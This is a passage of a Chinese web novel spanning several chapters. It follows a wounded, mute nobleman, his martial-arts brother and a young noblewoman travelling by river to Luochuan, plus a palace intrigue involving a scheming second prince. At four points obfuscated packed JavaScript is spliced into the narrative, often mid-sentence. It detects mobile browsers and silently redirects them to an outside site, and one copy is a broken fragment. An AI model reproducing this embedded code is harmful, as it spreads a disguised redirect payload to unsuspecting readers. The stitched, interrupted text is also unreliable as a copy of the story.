被热水浸泡,浑身毛孔都散发着舒适的肌肤,疲惫不堪的身体,干净柔软的被褥。江知雪与云双几乎刚沾枕头便入了梦乡。 明澜加入楼下同那些喝酒、装作客人的同伙的闲聊之中。即使四下再无旁人,他们之间也形如陌生人,寒暄客套、疏离生分。 若要做到让人相信,总得以假乱真。 月上中天,客人们陆续离座回屋,明澜开始收拾桌上残羹。 他几乎是黑着脸,看着桌上一片狼藉,只觉是对他的报复。 日漏已过二更,周遭寂静。明澜瞧着不再有人过来,关上窗户,吹灭烛火,几步了上楼。 他脚步极轻,摸索至最角落房间,推门走了进去。 屋内未燃烛火,窗户打开只浅淡月光如薄纱飘进来,照不亮这方暗室。沈思安坐在黑暗,融入其中,整个人不自觉流露出孤寂,仿若他生来就该如此,理应如此。 他抬头望向窗外,并未因门口动静而惊动,似早知明澜会过来。 “伤未好还这么吹风,你真是不顾自己死活。”明澜径直过去关上窗,关住漫天星斗,随后用火折子引燃桌上蜡烛,坐在他对面。 直到这时,沈思安才有了动作,微小幅度地转动眼珠,又盯住了桌面那一簇火,没有回应明澜的一番话。 明澜早就习惯他的做派,没再多说,反正说了也不听。只抬手捉住他放在桌上的胳膊,右手浅浅搭上其手腕脉搏,而后神色一凛,望向他的目光带了严肃:“你又用了内力?” 虽面上不显,但他体内气息杂乱,宛如找不到出口急头乱窜的飞虫,理也理不出头绪的线球,想必早已痛苦不堪。 沈思安抬头看他,淡色眼眸中烛火跳动,默认了此事。 明澜连忙掏出一枚丹药命他服下:“此药只可暂时压制内息,欲让其平稳,还得自己静养调理,近一月莫要再动内力了。” 沈思安服下药,却仍无什么反应。那副冷淡的面似乎满不在乎,仿佛根本没听他的苦心劝诫。 明澜怒火“蹭”地一下起来,正要发作,便见他以茶水在桌上写:“那日你未来。” 如被泼了盆冷水,明澜的火气顿时偃旗息鼓,连丁点火星都不剩:“是我的错,原应是我去接应你。” 又连忙拿了纸笔墨砚摊在桌上,边研墨边解释道:“我当初先行一步宿在此处,谁知第二日遇上一个怪异女子,穿轻便束衣,像是江湖人。一见面,她就上下打量我两眼,说我暴露了。 “我心中警铃大作,却也不欲理会,可她纠缠不休,直言我定会武功,非要和我打一架。我百般推辞,她仍死缠烂打,我怕她再这样弄得人尽皆知,万般无奈下,只得答应。本想着不过切磋,应耽搁不了什么时间……” 明澜絮絮叨叨半天,声音越说越小,最后更是心虚到闭口不言。 沈思安已料到结果,只问:“她身手如何?” “身手了得,招式凌厉,步步杀招。我功夫本就不如你,与她缠斗一天一夜,才窥其极小的破绽险胜。”明澜谈及此事,又不由庆幸:“万幸我做了两手准备,若我久等未归,不靠谱便会代我去。”不靠谱便是方才楼下同他说话的那个带刀壮汉。 “只是我作为师兄,答应了师父要照顾你,如今你这般,终究是我之过。” 沈思安摇头,仍执着于那个女侠客:“可知其姓甚名谁,使的什么武器功法?” “未告知名姓,使的是一柄仅一指宽的软剑。” “流云剑。”白纸黑字,二人神情皆肃穆。 此剑细软若无骨,锋利可削石,传说以生于极北的千年玄铁打造,御此剑者功夫也必是江湖屈指可数的人物。 但锻此剑之法早已失传,使此剑之招式功法也于百年前随一叫“惊仇”者一同毁在一场大火中。 明澜虽不甚善武,能与他相提并论者也是少数。可目前江湖并无会使形似流云剑之武器、又武功高强的女子,那人到底是谁,有何目的,明澜又暴露了什么? 沈思安看向明澜的眼中不觉含了探究。 明澜被盯得毛骨悚然,拍拍起了一身的鸡皮疙瘩,不知他的师弟又在打什么主意,连忙扯开话题:“闷葫芦不知去了哪儿,解药暂时应是拿不到了,怕是还得委屈你一段时间。” 烛芯因长时间未剪,惹得烛火“噼啪”一声,短促地炸开。沈思安复又看着沿烛芯往上、燃得细长的火苗,轻轻点头。他早已习惯这些强加给他的事物,又或者这些事物本就属于他,组成了他。 视线中突然出现了一只面具,有别于先前,这只能完整覆盖上半张脸。银制纹路在烛火映照下闪着微光。 明澜解释:“不靠谱和手下在星涯坡收拾残局时捡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719755|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了那半张面具,过了今日,往后要行走在人群中,还需遮掩一番,以防有心之人。” 如玉般面上的纹路忽隐忽现,几日不见,似乎又往外延伸了些许,弯绕盘旋,诡异可怖。 明澜见沈思安沉默拿起面具,在手中观摩片刻,往面上覆去,而后抬头朝他看去,似在询问戴着如何。 这样的姿态,恍如十几年前,沈思安未进宫时,单纯幼稚吵着让自己陪他玩闹的模样。 明澜的心不由一痛,他承受了太多,失去了太多,被折磨成如今这般浑身伤痛、不再表露任何情感的样子。 桌面被轻叩响,明澜回过神,就见其用手指着纸张。上面写着:“此处如何竟全是我们的人?” 明澜站起身,透过纸糊的窗纱朝外看,其下灯火仍亮,是屋檐灯笼发出的光。他声音冷淡起来:“此处是京城官驿,素来是所有官驿中最大最奢华之所。可我到来那日才发现,内里竟是破败不堪,只余一老翁病巍巍地坐在门口。” 他转头,眼中是不愿藏起的讽刺:“探他脉象,虚弱阻塞,忧思过度,久病不医。我以银针施之,与其闲谈,才得知早在数月前,这里时不时便会出现几波匪徒骚扰,驿官写奏章给上级、报官皆不应,而朝廷也已许久未发过饷银,那几人受不了直接卷铺盖跑了,左不过驿官连个捕快都不如。那老者是这里的烧火翁,几十年有了感情才未离开。 “我以让其养病为由,让他好好歇着,我来帮衬帮衬。” 竟是快要乱到京中了吗?沈思安敛眸,面具下看不清他的神情。 “那三小姐你作何打算?”明澜又坐回原处问他。 不知怎的,沈思安脑中忽忆起这几日与江知雪相处点滴:洞穴谈话、为她上药、同榻而眠……他沉默良久,才写道:“不作打算。” “你要留下她同我们一起?” 沈思安点头。 是的,留下。 既然已经混乱,再单独放了她们出去,一旦被京城那些人发现,只怕会有性命之虞。若她们心生胆怯,道出他并未身死或未成废人的实情,又会徒生许多麻烦。倒不如留在身边监视看管。 明澜看他半晌,也未从他戴了面具的脸上看出什么别的心思,只好败下阵来:“罢了,你总有你的道理。夜已深了,明日还要赶路,早些休息吧。” 说着,便欲站起身往外走。 沈思安一把拽住他衣袖,又写:“打探刘择良。” 明澜本想激他几句,但见他拽着衣袖看向自己的模样,像极了幼时,心中一软,临到嘴边的刺言刺语变了个调,只剩一个干涩的“好”字。 起身送走明澜,沈思安回到桌边,将桌上写有字迹的纸张放到燃了一半的蜡烛上。火光倏然变烈,照得屋内一片亮堂堂。 直至火苗舔舐指尖,他才松手,任其往下飘落,在空中便变成灰烬,熄了火光,向地面坠去。 43. 金缕衣(三) 翌日,江知雪醒来,天光已大亮。四下静悄悄一片,云双也不知去了何处。 她撑起身,看向屋外透过窗棂的阳光,静默片刻,又往后仰倒,躺在榻上,抬起胳膊遮住眼睛。 一股悲凉萦绕在心间。昨晚她梦到了张铁立夫妇,他们仍是鲜活的,与她、与云双、与沈思安围桌谈笑。其间似乎还有一人,坐在张叔与范婶中间,模模糊糊看不清样貌,却淳朴热情,应是张兆阳。 那样欢快的氛围,让她醒来时,在不甚清醒的状态下仍觉得,他们还存活于世,还好好地生活在虎头村。直至看清她身在官驿,才意识到他们已掩于虎头村那片土地下,真相未昭,入土仍不得安。 浮尘在空中飘荡,被太阳镀着一层金色的光。随着门被推开,纷纷四散逃窜。 云双瞧着床上的人儿,被褥掀开一半,姿态并非全然放松,知她是醒了,轻轻走上前,温声道:“现下已日上三竿,小姐该起身了。” 床上之人没有回应,没有动静,只呼吸深重了一瞬。 云双无法,又道:“姑爷和明澜公子已经在楼下等候了。”经过昨日之事,她对沈思安不再仇视。能为微不足道一小民做到如此,又怎会是无用之人? 果然,提到沈思安,江知雪一骨碌直起身,初起床时独有的沙哑含糊声中犹带鼻音:“等候多久了,我是不是最晚起床的?你应早些唤我。” 云双还未来得及仔细分辨她因何带了鼻音,可是哭泣了,便见她火急火燎下了床,拿了衣裙穿戴起来。 待一切收拾妥当,江知雪又是一阵匆忙下楼。行至半路,但见沈思安与明澜正在楼下桌边用早膳,立时放轻了步伐,欲悄悄往后舍去洗漱。 二人耳力极好,在她下楼的时候便抬头循着声音来源处望去,就见她走了一半突然变得鬼鬼祟祟。 “三小姐在做什么?”明澜不明所以,问身边沈思安,声音不大不小,正好让江知雪听到。 江知雪身形猛地一僵,停顿一瞬,又装作自然地走向后舍。 沈思安缓慢摇头,一双眼睛却始终盯着她的背影,直到她消失在拐角。是活泼且生动的与平时截然不同的三小姐,是他从未见到过的江知雪。 自打他第一次见她,她的眉眼中就含着担惊受怕、忧虑和惆怅,似乎从未发自真心笑过,举止虽不似大家闺秀,却也温婉。让他都忘了,她不过是个才及笄没多久的小姑娘,当是无忧无虑、自由自在地生活在父母的羽翼之中。 后舍中,江知雪的一张脸几乎红透,泼了几捧凉水方才冷静下来。她大张着一双杏眼,完全不明白自己刚才为什么要那样做。 云双从后面赶过来,递给她一条干布巾:“擦擦吧。” “云双,我没脸见人了。”江知雪双手捧着脸颊,转身看向云双,碎发上仍带着水珠,欲哭无泪道。 “小姐,我也想知道你方才在做什么?”云双刚刚就在后面,看到了她的举动,亦听到了明澜的问话,捂嘴笑问。 江知雪简直震惊,一时说不出话。 眼看小姐一副天塌了的模样,云双也不逗乐了,忙道:“姑爷与明澜公子已用过早膳上楼了,只怕过会儿便走。眼下屋中无人,咱们也快用些罢。” 江知雪点头,明显松了口气。 官驿如今破败冷清,不复过去繁华,吃食自然缩减。往日盛鱼肉珍馐的碟碗呈到眼前,装得是一碗白粥,一碟咸菜。 江知雪倒不嫌弃,她从未吃过多少佳肴美馔,又过了一个多月相对清贫的日子,对吃食方面再无讲究。 浅舀一勺入口,她的眼中现出惊讶。细腻中带着一丝清甜,是熟悉的味道。 “这是你做的?”她问对面云双。 云双点头:“小姐这么快就分辨出来了?” “也只有你会在其中加入糖块。”江知雪颇为怀念:“上次喝甜粥似乎还是在引梅园,你是从哪儿得来的糖?” “明澜公子给我的,倒是不知他从哪儿来的。”云双快速扒拉完将见碗底的粥,用粗布帕子擦擦嘴,起身问道:“我也得上去收拾东西了,是否同你的一齐收拾了,也省得小姐你再费力气跑一趟?” 包袱中并无什么重要之物,江知雪正欲答应,忽而想到在这里坐着难免要碰到下楼来的沈思安和明澜。她才闹了个笑话,能缓一刻见到他们是一刻,最好是能拖至他们忘了方才的事。 思及此,她连忙摇头,耳尖一热,不自在道:“我稍等会便上去。” …… 太阳肆无忌惮地撒向大地,照得每一处都亮堂堂,暖烘烘。 楼下传来明澜的声音,清脆而欢快:“准备出发喽。” “来啦!”云双亦大声回道。 江知雪再最后环顾一圈是否有遗漏之物,便背上行囊下了楼。 屋舍外,沈思安着月白衣衫,身材修长而挺直,发髻高竖,以一简单式样银冠固定,面上银制面具纹路繁复,遮住上半张脸,叫人看不清神情。 他牵一栗色马匹,站在光中,看自己向他走来。 从屋中骤然行在太阳底下,阳光刺得人晃眼,激出了浅浅一层泪水。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724081|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江知雪亦看向沈思安,他的身影在刺目光中和眼眶泪水下变得模糊,宛如隔了云雾。她不敢眨眼,怕他下一瞬便会乘风入了仙府。 先前备好的各种解释都化作浆糊,她走至他跟前,抬头望他瘦削而棱角分明的下颌,只干涩道:“你可有碍?” 沈思安摇头,但见她眼尾通红,不自觉抬手欲向她脸颊探去,却又停在半空,硬生生放下。 “昨夜我梦到了张叔范婶他们。”江知雪看着他的动作,没头没脑地说了一句,兀自抬手擦拭被太阳刺激出的泪花,又岔开话题:“你要骑马?” 明澜从后院牵了马车过来,凉飕飕道:“他若敢骑马,明日便下不得床。这才是为他、为你们准备的。”他指指身后的马车。 “刘大人呢?”江知雪看了一圈,也没见着刘择良身影。 “天一亮便走了,说是有什么公务要忙。”明澜随口答道,拿过沈思安手中缰绳,招呼他们上车。 沈思安先一步上去,又回头伸出手,递到江知雪跟前。 他的手指修长而骨节分明,手腕自宽大袖间露出,苍白瘦弱,其上青色血管清晰可见,那一圈因铁链和刀刃形成的伤口仍透着浅粉色,只是似乎少了什么? 铁链和刀刃……铁链!江知雪恍然,前几日在星涯坡上犹束住手脚的刑具不知何时不见了。是在虎头村还是在崖中洞穴? 她心中惊骇,一时竟站在原地,忘了反应。 沈思安久等不应,不觉暗了神色。他垂下眼睫,便欲收回手。 江知雪见他动作,才瞬间回神,想也没想,将手放入他手中。触感冰冷,如冬日里在寒风中行了许久,又似传说中万年不化的冰川。 “抱歉,我方才在想我们此行是要去往何处?” 沈思安将她拉上车,以手作笔,正待在她手心写下。外头明澜将其先前牵着的栗色马亦栓上车椽,想着他多有不便,好心抢先回道:“去洛川。” 他的指尖微不可察地停顿,而后缩回手指,朝她点头。 虽依旧面无表情,形容自然,江知雪仍然从中捕捉到一丝极其细微的失落。 从高处跌落,到如此境地,连简单的回答都成了麻烦事,她的心不由得抽痛,可她知道,沈思安所承受之痛,超过她百倍千倍,不论是身体还是精神。 “沈思安。”江知雪唤他,嗓音清泠泠的,如溪水流淌。 她几乎未如此正色喊过他。 沈思安抬眸,撞进她温和的眼中,听见她说:“‘洛川’是如何二字,你可否告知与我?” 44. 金缕衣(四) 洛川是繁州辖下的一县,东临渭水,西起桑山。虽为县,却富贵浮华,货品琳琅,人群往来如织,比之州府有过之而无不及,是繁州的重要支柱。 从京城往洛川县,沿官道一路向北,经通州再往西,仅需半月便可至,是通行两地最快途径。 而江知雪一行,却择碎石山路,驱车先向西,风餐露宿半月,再经汤汤渭水,缓行入洛川。 “我们要往何处去?”一艘不算大的商船甲板上,江知雪倚靠栏杆,看着宽广无际、滚滚浪潮的水面,随口问道。 这是她第一次见到这样的河流。书中言海之深邃、河之宽阔,她曾在许多个昼夜凭文字想象,却远不及亲眼所见、亲耳所听浪花轻缓拍打船身的哗啦声来得震撼。 有细碎水花撞到她脸上身上,带着三月里潜藏的冷意,却是如此鲜活、如此自由自在。 沈思安从身后船舱走来,于她身旁站定,递给她一方绣着金桂的帕子,是她急于出来观赏渭水落在舱中桌上的那条。 江知雪接过帕子,轻声道谢,随意擦拭几下面上水珠,转而侧头用一双清亮杏眸看他。 几绺碎发被水沾湿,贴在脸上,发顶濛濛一片,在阳光下闪着剔透的光。沈思安盯着她的脸,望进她眼中,看见其中自己的身影,向她伸出手。 “北陵。”江知雪的问话没头没尾,沈思安却知道她问的不是洛川,而是此行终点。 江知雪眸中有一瞬怔愣:“既得自由,何故仍要去那里?”洛川并非往北陵的必经之路,她理所当然地以为他们欲绕道以避追杀缉捕。 对方只平静看她,落在手心的微凉指尖许久没有动作,那双向来疏淡的眼睛隐约含了别样的情绪,似透过她看向别的事物。 远处枝叶摆动,一阵山风卷着河面水汽,拂动二人发丝和衣衫,他们同时移开视线,转向微澜的水面。 问不到便不问,每个人都有秘密,想说时自然会说,她不是一个刨根问底的人。 而且她不是早就知道他绝非表现出的那般简单了吗?江知雪眯了眯眼,觉得自己问了个蠢问题。心中又忍不住暗自好奇,他此番所求为何,还能否值得信任。 “善始善终,他就是这样的人。”明澜从后面踱步过来,忽而放轻声音,含笑道:“圣命不可违,那个地方出来的人最重规矩,叫他抗旨还不如杀了他。” “何况,哪里来的自由?前有告示通缉,后有追杀刺客,各方势力利益掺杂,牵一发而动全身。如今你们只算作下落不明,未有证据,谁也不能断定你们死亡与否。”他又正了声色,眼中是难得的认真:“颠沛流离、四处躲藏的日子,他不愿过,而三小姐也绝不会想过的。” 明澜欲再说,沈思安按住他胳膊,对他摇了摇头,面容严肃。 心中飘渺无依的怀疑还未落地生根便烟消云散,江知雪脸色有些难看。 她还是将一切想得太简单。 明澜住了嘴,把头偏向一边,眼角余光瞥到江知雪的神情,不禁懊悔于方才自己的一番激烈言辞。 她看上去脆弱又无助,可他亦不忍自己的师弟被如此轻描淡写地误解,还有可能是以后其最亲近的人,他能看出沈思安对那个三小姐已有了在意之心。 僵持良久,明澜最终败落于自己的愧疚和师弟无言的警告中,向江知雪作揖赔礼:“抱歉,是我冲动了。” 沈思安顺势重新握住她的手,动作认真而轻柔:“我确不愿抗旨,亦有未尽之事。” 他恢复平静,那副冷淡的模样,若非江知雪手中仍残留他肌肤温柔的凉意,倒真被他唬住,恨不得离他千里。 “晚饭已经准备好了,你们……你们在做什么?”云双适时过来,打破三人之间微妙而凝重的氛围。 她看见明澜作揖的动作,当下发问:“明澜公子,你是不是对我家小姐干了什么坏事?” 这一路过来,因对小姐心怀歉疚,都是云双安排吃食。虽脚下商船是明澜所租,但俗话说“吃人嘴软”,又见他一副认错模样,可谓是理直气壮。 “没有的事,我们在讨论你今日做了什么吃食呢。”江知雪连连摆手,上前几步拉过云双的手,凑到她耳边小声道:“你又不是不知道,他这人一向跳脱,还好你来了,我险些招架不住。”边说边拉着她往船舱小桌走去。 明澜确实喜欢云双做的饭菜,方才的发问让他几欲汗流浃背,他可不愿今晚吹着河上冷风、就着干冷的大饼过夜。 而江知雪为他分辩的耳语更是让他汗颜,只觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752383|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亏欠尤甚。他抬头,就见沈思安一瞬不瞬地盯着他,立时蔫巴道:“我知道错了,你别瞪我了。我保证!我保证决不再犯!”他以手指天发誓。 末了又添一句:“咱们还是先去吃饭吧,师弟。”那声“师弟”叫得极轻,若非沈思安耳力好,怕是随了风飘走也无人可知。明澜就是吃准了他的耳力好,才行这般幼稚之事,想在辈分上压他一头,当做他瞪他的后果。 沈思安无奈,无声叹了口气,同他一道进了船舱。 船中无厨灶,仅一小炉,用炭火烧着,只能做些小菜和炖菜。所幸食材颇丰,倒也能做出不少花样。 云双早早分了吃食给前头的船工。几人围着小桌而坐,就着热气腾腾的饭菜谈笑。 多半时间是明澜与云双在说,那二人几句话不对付便开始互呛,呛完后再对上一眼,又不住“噗呲”笑出声,直逗得江知雪掩面大笑,弯起的眼睛比夜里星子都亮。 她亦不时插上几句,沈思安仗着沟通不便只沉默吃着眼前饭菜,每一口咀嚼相同次数,每一次只夹差不多的菜,举止从容文雅,贵气浑然天成。任凭周围笑乱作一团,都形色不变,仿若置身事外。 三月的天空比不得冬日黑得早,太阳却依旧眨眼之间就落至山腰。 透过船中木窗,但见红霞满天,倒映渭河之水,上下浑然一色。他们游荡其中,似落入书中仙境。 杯中水仍冒着热气,歪歪扭扭往上而去。隔着升腾水汽,江知雪不自觉向沈思安望去,惊觉他不知何时停了筷子,看着自己。 霞光穿过窗棂照在他身上,避开面具染进那双始终波澜不惊的淡色眼睛,叫它与这水天同色。 电光石火间,江知雪从它冰冷的表象中窥探到一丝悲凉。 那悲凉并不深切,而轻缓如河中水,一阵风过,只是吹皱河面,掀不起什么浪潮;又缥缈如杯中热气,轻微晃动,便散于空气,藏匿其中,不见踪迹。 他在为何而悲凉?是云端尘泥的落差,是满身伤病,还是为虎头村一事,亦或者这天下万万与张铁立夫妇相似之人? 江知雪以手支颐,仍大胆看他。 多么复杂又矛盾之人,近乎突发地,她想去了解他,更多地,从过去、当下及未发生的将来。 45. 金缕衣(五) 将近洛川渡口,天空下起了雨。细雨如丝,落在渭水河面,激起圈圈涟漪,荡出水珠无数。 隔着如雾水汽,长满青松的桑山朦朦胧胧,天色晦暗,只觉漆黑幽深。 它并不高,比之星涯坡更算得上低矮,但胜在绵延,如水中波纹起伏,环抱这座县域。 离洛川越近,便与京城越远。江知雪站在舱中回身望,透过重重掩映的山峦,恍然似又瞧见那已远不可及的京城。殿宇轩昂,巍然伫立,琼楼叠嶂,历久弥新。 那是她只遥遥见过却从未涉足的宫殿,它高傲矗立在那里,雨水难掩其泽,时间难刻痕迹。 琉璃高檐上探出几根枝条,绿叶繁茂,其间夹杂星星点点的白色花朵。它们似乎已开了许久,即使如雾般细雨,也无法经受,打着旋往下飘去,落在下方安静经过的一宫女发上。 那宫女不过十岁,脸颊瘦削,身量纤细,肌肤并不白皙,透着太阳晒过的痕迹。 她轻车熟路绕过曲折回廊,不时碰到几个别处宫女。双方互相见礼,但几乎每个人眼中都隐藏着鄙夷和不屑,不约而同地,在和她擦肩而过时,轻嘲出声。 她却只面容平静,一双眼睛低垂,看着脚下方寸之地,步伐稳健而规矩,好像什么都不能惊动她半分。 吉光殿外,叶寻风已等候多时,见到来人,一向端肃的神情竟破了道裂隙,露出些许笑容。 他三两步过去,将搭在臂弯的斗篷披在那宫女身上,将她迎了进去。 “殿下。”宫女嗓音清冷,带着未脱的稚气。一双圆眸淡然看向懒散闲卧窗边美人榻上之人,并未行礼。 二皇子闻声眼中现出光亮,放下手中书册,起身向她走来,笑道:“芸袖来了。” 说罢,拉过她的手,牵着她就往内室去。 殿中烛火燃起,厚重殿门适时关上,只留给窥探之人一片遐想。 二皇子随意坐紫檀椅上,将桌上砚台推至芸袖跟前,不着痕迹看了叶寻风一眼。待对方点头,方才还挂在脸上的热切的笑一点一点隐去。他一手扶额,另一只手轻叩两下桌面,冷淡吩咐:“研墨吧。” 前后态度堪称变脸,芸袖却并不惊讶,顺从往砚台中倒入些许清水,拿过墨块,细细研磨。 清水顷刻便被墨色浸透,散发阵阵墨香。 “可有查出些什么?”二皇子摆弄手中玉节狼毫,不咸不淡问道。 芸袖目光微动,浅抬双眸定向面前人放在桌上的双手。 他的手指修长而骨节分明,袖口金线织就的纹路与十指佩戴的各式戒指,在烛火的映照下折射出不同的光,一如月前于二重门阶处所见。 只是未曾预料当日的草包样貌竟是伪装。 “昨日广平侯府二公子被夜召至朝华宫。”芸袖将昨日所见悉数道来,目光不自觉向上一寸,见他张扬华服,往上、再往上,不期然与他视线相撞。 “在看什么?墨要干了。”他看着仍在怔愣的人,白净的手指向砚台,面上又浮现笑容,声音也柔和下来。 芸袖脑中却轰然炸开,立时收回视线,薄唇紧抿,小麦色的脸颊都白了三分。 她两只漆黑眼珠紧盯墨块,看它重新随着自己的动作在砚台画着圈,消融在水中,声音颤抖,低到几乎听不清:“是我僭越了,望殿下恕罪。” 二皇子从不是他表现出的那般良善。 月前她被受伤的黑衣人委托传话给皇后,出宫后不久,在一个逼仄巷子里,她遭遇刺杀,为人所救,关在一处隐蔽不知方向的院落。那几日里,每日都有不同的人过来问她:皇后与她说了什么。 京城内外所有地方她都摸过一遍,而那处院落却从未见过。她心中不由犯怵,想破脑袋也想不出究竟是何人救她又关她。直到二皇子亲临。 当日的情景哪怕再过百年她也仍记忆犹新。 他是循着夜色而至,着一袭暗色束袖衣,单调又沉闷,一张脸似笑非笑,眼眸深沉,全无半点当初窝囊之态。 他未置一言,只高高在上地轻蔑看她一眼,安然落座于一旁侍卫才擦过的椅上。随后又有两名侍卫押着一个血淋淋的人进来。 血腥气瞬间蔓延整个室内,从鼻孔直冲脑门,令她几欲干呕。 “此人你可认得?”直到她快忍受不住,他才好整以暇地开了尊口。 侍卫顺势抓住囚犯脏乱的头发,迫使他抬头。 看清囚犯面庞的瞬间,她不禁倒吸一口气,连满室血味都抛至脑后。她如何不认得他?这不正是前几日欲刺杀她之人!许是觉得能一击毙命,他当时并未戴任何掩饰形貌之物。 二皇子告诉她,那人是皇后所派,因她知道了不该知道的事。 起初她并不相信,可二皇子说:“你猜皇后要结果的人是谁?是被废的太子。”他说这话时,目光阴鸷,眼神冰冷如刀,仿若皇后就在面前,而他欲以眼刀将其千刀万剐。 “素以温婉和善为称的一国之母,却想杀了自己失势的亲儿子。你说,她会允许这样的事传出去吗?”二皇子点到为止,她亦从中知晓缘由。 皇后确如他所说,在民间有着极高的威望。她携杀人口信进宫通传,无论被杀之人是谁,已是窥得其见不得光的秘密。若想此事不泄露出去,最好的法子便是除之以后快。如今她在这隐蔽的院落才得以侥幸苟活,可出去呢?出去只怕还有别的杀手取她性命。 她恍惚跪下抬头,将目光投向安坐竹椅的二皇子。 从小的混迹流浪让她敏锐察觉,一个卑微到尘里的人,没资格决定自己的生死,她的命现下掌握在他的手里。 幸好她于他还算有些价值,但也需自己主动争取。 她将那日发生之事全盘托出,祈求他救自己性命。 二皇子听之,欣然起身,拔出身旁侍卫的佩剑,果断捅入刺客胸膛。被折磨至几欲晕厥的人喉中惨叫还未发出,他又信手搅动,只听黏腻水声,那刺客终是承受不住断了气,再无生机。 “姑娘放心,你既将身家性命托付于我,便是我的人。日后再有伤你之人,下场只会比他更惨。”二皇子拿帕子仔细擦了擦并未沾染血污的双手,温和笑着,声音也轻柔。再看他身旁惨状,却是无比割裂。 那样的笑和声音伴随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773214|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜血多次出现在芸袖的梦里,无不让她心生恐惧而颤栗,就像当下他柔和无害的模样。 二皇子见她一副怕极了的样子,不欲过多为难,又留了她片刻,才道:“时辰差不多了,芸香,带她下去准备准备,便送她回去吧。” 芸香是二皇子身边的贴身侍婢,长相娇柔,平时姿态动若无骨,倒是十分符合他对外愚蠢好色的形象。 但眼下,她只是一板一眼领着芸袖去了里间。 拉扯开来时穿得端正的侍婢服,挑几缕梳得齐整的发丝,让它们稍显凌乱,再在肩头脖颈捏出些不规则的红痕,最后披上一件薄纱斗篷,芸袖跟着芸香从殿后偏门走了出去。 细雨仍连绵不绝,纱制的斗篷并不能遮雨,它们顺着细密的孔洞,打湿芸袖的头发和衣裳。 四周投来或讥笑或同情的目光,更有宫女从后方快步行来,猛然朝她撞去,在她趔趄与她擦身而过之际,气声说道:“可真是个贱蹄子,路都走不稳,何不干脆让二皇子直接抱你回去。” 芸香对周遭事态始终置若罔闻,木着一张脸在前方带路。 雨水拍在脸上,芸袖更添狼狈。她却只紧了紧身上斗篷,低头快速走过,与未至吉光殿时的形态呈天壤之别。 这是她应行之事。 她以酒楼良家女的身份,装作被二皇子轻薄,顺势入宫中,再寻个皇后每日必经的场所,哭天抢地以死明志。 此行不过一场豪赌,赌皇后是否突发奇想或动恻隐之心拦住她,赌注则是她的性命。 好在皇后生性多疑,二皇子演成那般草包模样,仍是不信任,她命人将她救下,让她反过来监视打探他的行迹。 芸袖看着金黄宝座上皇后一张一合的唇,听着她假模假样的痛心疾首,只觉她如一条潜伏在暗处的毒蛇,比起二皇子摆在明面的恶,更会出其不意就要了人的性命。 她抬头望着阴沉天色,雨水落入眼睛,让四周红墙绿瓦变得模糊。 为了一锭银子,落得如今不得自由的处境,但比起从前食不果腹的日子,却也衣食无忧。她亦见过青楼女子,凄惨场景骇人听闻,而她只是逢场作戏,不过受人冷眼。 隔着雨幕,芸袖回望漆红大门紧闭的吉光殿宇,一时之间,竟也说不上好与不好。 吉光殿中,二皇子将书写完毕的纸张吹干,小心放入竹筒,出声问道:“大哥现至何处?” “十几日前明澜飞书说正渡渭水,算算时日,估计这两天便抵达洛川了。”叶寻风上前几步,面无表情回话。 “你说,我该不该将那谢二公子的事告知他们?”二皇子看着手中竹筒,面露古怪。 他们都知那谢怀清是安国公府三小姐的旧情人,担心贸然向沈思安提及,扎了他的心窝。 叶寻风摇头,与二皇子一齐看着竹筒,道:“依我看,这封信无论如何都得送达。广平侯府已与中宫有所接触,我们并不知他们下一步计划,须得早做准备,也让主君有所提防。” 二皇子瞧他一眼,知他意有所指,是提醒大哥“提防”那三小姐。 “既如此,便送去吧。” 46. 金缕衣(六) 双脚踏上渡口木板搭就的道路那刻起,江知雪便知是彻底离开了京城,斩断了过去。 沈思安与明澜正在与商船老板商讨钱财等事宜,云双则往下搬弄行囊。 耳边充斥船工的吆喝声、货物放下的沉闷声响,以及匆忙来往人群踩过木板的“咯吱”声。 江知雪第一次见货运渡口,茫然又新奇地兀自朝前四处瞧着。 忽然前头来了个肥胖男子,挡住了她的去路:“敢问小娘子从何处来?眼下黑夜将至,不知可寻到了落脚处?” 